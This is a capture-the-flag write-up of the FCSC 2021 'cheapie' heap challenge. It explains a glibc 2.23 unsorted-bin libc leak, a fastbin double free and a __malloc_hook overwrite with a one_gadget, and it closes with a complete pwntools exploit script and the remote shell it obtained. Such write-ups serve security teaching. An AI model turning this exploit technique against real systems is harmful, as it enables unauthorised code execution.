FCSC 2021 Qualification - cheapie (pwn)

FCSC 2021 Qualification - Cheapie

Cheapie was a training challenge about heap exploitation with a lot of vulnerabilities and no mitigation / error handling / verification. The associated libc was given and was pretty old. I used a double free and some heap mechanisms to leak the libc base address, retrieve malloc_hook and write a one_gadget into it.

Preliminary analysis

As usual, verifying the mitigations is quite important. It shows that all userland mitigations are enabled.

$ checksec cheapie
[*] '/home/vagrant/cheapie'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Trying to identify the libc result by finding the following version 2.23, this way I used a Vagrant file to drop an ubuntu machine which uses this version of libc.

Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/xenial64"
  config.vm.provider :virtualbox do |vb|
    vb.name = "ubuntu"
  end
end

Once executed the program shown us these actions :

vagrant@ubuntu-xenial:~$ ./cheapie
Malloc exploitation playground!
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 1
Amount in bytes [16-1024]: 16
malloc(16) = 0x564b1832d010
Data to write (up to 16 bytes):
aaaaaa
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 2
Address to free: 0
free((nil))
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 3
Address to show (16-byte sneak peak): 0x564b1832d010
61 61 61 61 61 61 0a 00 00 00 00 00 00 00 00 00
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()

Well tons of possibilities here. Malloc displays the address of the allocation, free accepts whatever address without verification and so is vulnerable to double free. The leak feature can leak the whole process memory so we can read whater addresses we want.

However there is no buffer overflow and GOT was RO so we couldn’t easily control RIP. The only way to achieve this is to use the __malloc_hook.

This hook, availables in the libc memory space, when holding a function pointer will execute this last one during the malloc function execution. It’s a easy way to have arbitrary code execution but we need to leak the libc base for this.

As we can’t rop and can only provide the address of one function / gadget I decided to use a one_gadget.

A one_gadgetis a gadget which when executed will directy call execve('/bin/sh', NULL, NULL) without other gadget execution. More about here : https://github.com/david942j/one_gadget.

Leaking the libc base

My initial tought was to use the GOT entries to leak some libc pointers but I didn’t have the address of GOT because of the pie. However I could have easily leaked it with the associated feature. But it was a heap challenge and I wanted to try the trick to leak a libc address on the heap.

I’m not really into the mechanism of this technics but about what I know when a small or large chunks is freed (in our case a 512 bytes large chunks) and another small / large chunk is allocated and is placed into the unsorted bins and a libc address if placed to its backward and forward pointer.

Let’s try :

Malloc exploitation playground!
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 1
Amount in bytes [16-1024]: 512
malloc(512) = 0x555555758010
Data to write (up to 512 bytes):
aa
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 1
Amount in bytes [16-1024]: 512
malloc(512) = 0x555555758220
Data to write (up to 512 bytes):
bbb
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>> 2
Address to free: 0x555555758010
free(0x555555758010)
  [1] - malloc()
  [2] - free()
  [3] - debug()
  [4] - exit()
>>>

We now can find the libc address in the data of our freed chunk and the value belong to main_arena symbol at offset 0x88

gef>  x/8xg 0x555555758010-16
0x555555758000: 0x0000000000000000      0x0000000000000211
0x555555758010: 0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x555555758020: 0x0000000000000000      0x0000000000000000
0x555555758030: 0x0000000000000000      0x0000000000000000

gef>  xinfo 0x00007ffff7dd1b78

Page: 0x00007ffff7dd1000  →  0x00007ffff7dd3000 (size=0x2000)
Permissions: rw-
Pathname: /lib/x86_64-linux-gnu/libc-2.23.so
Offset (from page): 0xb78
Inode: 2098
Segment: .data (0x00007ffff7dd1080-0x00007ffff7dd2720)
Offset (from segment): 0xaf8
Symbol: main_arena+88

Fine, we do have our libc base to compute the libc base address with the offset of main_arena for this version.

libc-databse doesn’t provide this symbol but the tool https://github.com/bash-c/main_arena_offset.git does

$ ~/tools/pwn/main_arena_offset/main_arena ./libc-2.23.so

[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=c4fd86ec1eed57a09c79ce601f6c6e3796f574df
[+]main_arena_offset : 0x3c4b20
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

libc_base, _ = leak(p, buff0)
libc_base -= 0x3c4b20 + 88

malloc_hook = libc_base + libc.symbols["__malloc_hook"]

Double free arbitrary write

As stated before we are going to use the double free to make malloc return the address of __malloc_hook in order to overwrite it with the one gadget.

About double free

This version of the libc doesn’t have the tcache functionality implemented, this way, when freed, chunks ends in bins depending on their size. Factually bins are only single or doubly linked lists, each chunk pointing on the chunk before or after. More information here https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks.

For example if I free a bins of size 100 (0x555555758010) called A :

gef> heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70]  ←  Chunk(addr=0x555555758010, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins

The chunk A ends in a fastbin, which is a single linked bin. Freeing another of equivalent size B would put it in first place in this list (LIFO) and would have a pointer to the next chunk 0x555555758010 A.

When malloc want to alloc an area of a given size it first looks in the associated bin before requesting more space. If a chunk B is available it will use it and check it there is a pointer to another chunk A.

When a next call to malloc for this same size will occurs the libc allocator will know there is a available chunk and so will return its address A.

Double free abuse of this optimisation to make malloc return an address the attacker controls. Taking again our example, we end with this schema.

(B) -> (A)

If there is no verification an we are able to free A again we will end with a fastbin looking like this.

(A) -> (B) -> (A) 

Now malloc returns A and we can write in its data area (which is also the area of next pointer when the chunk is free)

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  <---- HERE (not allocated chunk data)
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

At this moment we can set the pointer to whatever we want and it’s a totally normal phenomenon as the chunk is allocated.

Completely normal phenomenon - 9GAG

Then B is allocated but it doesn’t matter, we just need to remove B from the linked list. At the moment of the next malloc the libc allocator will return A again (because of double free) and will check if there is a pointer to another chunk.

I remind you that the pointer to an available chunk is where we wrote the arbitrary data after the first malloc call. So if we write 0x4142434445464748 the libc allocator will take this for a pointer to another chunk and will return it the next time malloc will be called.

This way we can write to 0x4142434445464748 + 16 (16 is for chunk metadata).

However the address must point to a valid chunk structure. When I said valid, it only must have a size attribute equal to the size of the bin used.

So we can’t write to an area full of zeros as 0 isn’t a valid bin size.

Exploitation

I want to overwrite __malloc_hook here, however the value just before, which will be the chunk size, is set to an address very high which is not a valid bin size.

image-20210509153223947

Trying to make malloc return 0x7ffff7dd1b00 (to write at 0x7ffff7dd1b1) will end like this :

image-20210509153550329

Avoiding this is compulsory and force us to find an address before the __malloc_hook where the address + 8 is a valid bin size. In a screenshot of the are above, we saw that there is only invalid size however the address doesn’t have to be aligned in memory.

gef➤  x/10xg &__malloc_hook - 0x23
0x7ffff7dd1aed <_IO_wide_data_0+301>:   0xfff7dd0260000000      0x000000000000007f
0x7ffff7dd1afd:                         0xfff7a92ea0000000      0xfff7a92a7000007f
0x7ffff7dd1b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000  <--- __malloc_hook
0x7ffff7dd1b1d:                         0x0400000001000000      0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>:         0x0000000000000000      0x0000000000000000

Taking the address 0x7ffff7dd1aed we see that the size is valid 0x7f and the data will be located at 0x7ffff7dd1afd few bytes before the malloc hook ! We will make malloc return this address in order to overwrite malloc_hook with the one_gadget.

buff1 = malloc(p, 100, "A" * 20)
buff2 = malloc(p,  100, "B" * 20)

free(p, buff1) 
free(p, buff2)
free(p, buff1) # double free

buff3 = malloc(p, 100, p64(malloc_hook - 0x23)) # we set the address we want to write to
malloc(p, 100, "A" * 8)
malloc(p, 100, "A" * 8)

At this point the next malloc will return the pointer to __malloc_hook. Time to find our one gadget.

One gadget fright

The tool displayed 4 gadgets with their constraints.

 one_gadget ./libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

After few checks I realized that none of the constraint where filled, rax isn’t null and [rsp + 0x30 | 0x50 | 0x70] isn’t null too.

sending the last gadget worked on the remote target, what a luck to finally have tested it in an ultimate last stand.

The last step is to call malloc one last time in order to trigger the hook.

vagrant@ubuntu-xenial:~$ python3 xploit.py 0xf1207
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4006: Done
b' Address to free: free(0x55e59f22f010)\n'
0x7fe5baabc000
b' Address to free: free(0x55e59f22f010)\n'
b' Address to free: free(0x55e59f22f080)\n'
b' Address to free: free(0x55e59f22f010)\n'
0x7fe5bae80b10
[*] Switching to interactive mode
 $ 1
Amount in bytes [16-1024]: $ 16
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

Full exploit

from pwn import *
from re import findall
from struct import unpack
from sys import argv

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def malloc(p, size, data):
  p.sendline("1")
  p.sendline(str(size))
  addr = findall(b" = (\w+)", p.readline())[0]
  p.readline()
  p.sendline(data)
  p.readuntil(">>>")
  return int(addr[2:], 16)

def free(p, addr):
  p.sendline("2")
  p.sendline(hex(addr))
  p.readline()
  p.readuntil(">>>")

def leak(p, addr):
  p.sendline("3")
  p.sendline(hex(addr))
  data = p.readline().split(b": ")[1][:-1].replace(b" ", b"").decode("utf-8")
  A = unpack("<Q",bytes.fromhex(data[:16]))[0]
  B = unpack("<Q", bytes.fromhex(data[:16]))[0]
  p.readuntil(">>>")
  return (A, B)

p = remote("challenges2.france-cybersecurity-challenge.fr", 4006)
# p = process("./cheapie")
p.readuntil(">>>")

buff0 = malloc(p, 512, "A")
buff00 = malloc(p, 512, "A")

free(p, buff0)
libc_base, _ = leak(p, buff0)
libc_base -= 0x3c4b20 + 88

print(hex(libc_base))

buff1 = malloc(p, 100, "A" * 20)
buff2 = malloc(p,  100, "B" * 20)

free(p, buff1)
free(p, buff2)
free(p, buff1)

malloc_hook = libc_base + libc.symbols["__malloc_hook"]
print(hex(malloc_hook))

buff3 = malloc(p, 100, p64(malloc_hook - 0x23))
malloc(p, 100, "A" * 8)
malloc(p, 100, "A" * 8)

addr = malloc(p, 100, b"0" * 0x13 + p64(libc_base + int(argv[1][2:], 16)))

malloc(p, 100, "last malloc")
p.sendline("id")

p.interactive()

ressources

https://ctftime.org/writeup/14625

https://heap-exploitation.dhavalkapil.com/attacks/double_free

https://ir0nstone.gitbook.io/notes/types/heap/double-free

https://github.com/shellphish/how2heap/blob/master/glibc_2.31/fastbin_dup.c

https://github.com/Naetw/CTF-pwn-tips#hijack-hook-function

https://github.com/andigena/glibc-2.23-0ubuntu3/blob/master/malloc/malloc.c

https://ctftime.org/writeup/14625

https://ray-cp.github.io/archivers/0CTF_2019_PWN_WRITEUP

https://secgroup.github.io/2017/06/22/googlectf2017quals-writeup-inst-prof/